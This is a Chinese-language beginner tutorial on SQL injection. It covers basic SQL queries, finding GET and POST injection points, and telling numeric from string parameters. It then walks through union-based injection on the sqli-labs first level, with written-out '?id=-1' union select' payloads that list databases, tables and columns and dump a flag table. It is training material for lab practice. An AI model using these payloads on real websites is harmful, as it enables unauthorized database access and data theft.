什么是SQL注入?
SQL注入(SQL Injection)是一种常见的Web安全漏洞。
形成的主要原因是web应用程序在接收相关数据参数时未做好过滤,将其直接带入到数据库中查询,导致攻击者可以拼接执行构造的SQL语句,从而获取到数据库中的任意数据。
常用的SQL查询命令
//直接查询
-- 查询users表中的所有记录
SELECT * FROM users;
-- 查询users表中的name和email列
SELECT name, email FROM users;
//条件查询
--查询student表中 age=15 的name字段中的数据
SELECT name FROM student WHERE age = 15;
//排序查询
--将student数据表的第1列排序之后,查询表中所有数据
SELECT * FROM student ORDER BY 1;
//逻辑运算符 or and
--从 student 表中查询 age = 15 或 sex = 'man' 的所有记录
SELECT * FROM student WHERE age = 15 or sex = 'man';
--从 student 表中查询 age = 15 和 sex = 'man' 的所有记录
SELECT * FROM student WHERE age = 15 and sex = 'man';
漏洞的基本利用方式
一. 找到注入点。
注入点分为GET型和POST型。
GET型注入点:
如果URL后面存在?id=1
这种传参点,那么它就有可能是GET型注入点。
POST型注入点:
网页给出一个搜索框,当我们输入数据后POST传参给数据库查询,那么这个注入点就是POST型的。
二. 确定传参类型。
一般分为数字型和字符型。
数字型:当传入的参数为整形时,存在SQL注入漏洞,就可以认为是数字型注入。
字符型:当传入的参数需要引号闭合才能查询时,可以认为是字符型注入。
例如数字型语句:select * from table where id =3
则字符型如下:select * from table where name=’admin’
三.拼接SQL语句进行SQL注入,获取数据。
具体操作方法见下文介绍。
联合注入
我们以sqli-labs第一关为例。
先确定了注入点是GET类型,传参id的是单引号闭合类型,开始注入操作:
先使用 order by 语句查询字段数
如果我们后面跟着的数字超过了数据表中的列数,使用order by语句就会报错。
我们这里判断出数据表的字段数为3.
然后使用 union select 语句查询界面回显数据对应的字段位置
?id=-1' union select 1,2,3--+
这里要把传参的值修改为-1,因为数据表中一般没有id对应-1,所以前面的查询失败,就会执行我们后面的union select联合查询语句。
发现name处对应数据表中的第2列;
Password处对应数据表中的第3列。
然后利用数据表在页面的回显位置,在回显位置显示我们要查询的数据
下面所有命令都是在回显位 2 上进行回显:
--查询所有数据库名
?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3--+
--查询当前数据库名
?id=-1' union select 1,database(),3--+
--查询数据库下的所有表名
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),3--+
--查询数据表中的所有字段名
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow' and table_name='flag'),3--+
--查询表中数据
?id=-1' union select 1,(select group_concat(flag) from ctfshow.flag),3--+
联合注入结束。